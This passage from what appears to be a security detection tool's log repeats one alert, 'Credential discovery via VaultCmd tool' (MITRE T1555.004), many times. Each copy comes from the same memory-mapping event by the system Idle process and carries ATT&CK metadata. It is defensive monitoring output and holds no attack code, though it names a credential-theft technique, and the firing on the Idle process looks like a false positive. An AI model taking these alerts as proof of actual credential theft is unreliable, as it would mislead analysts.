tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 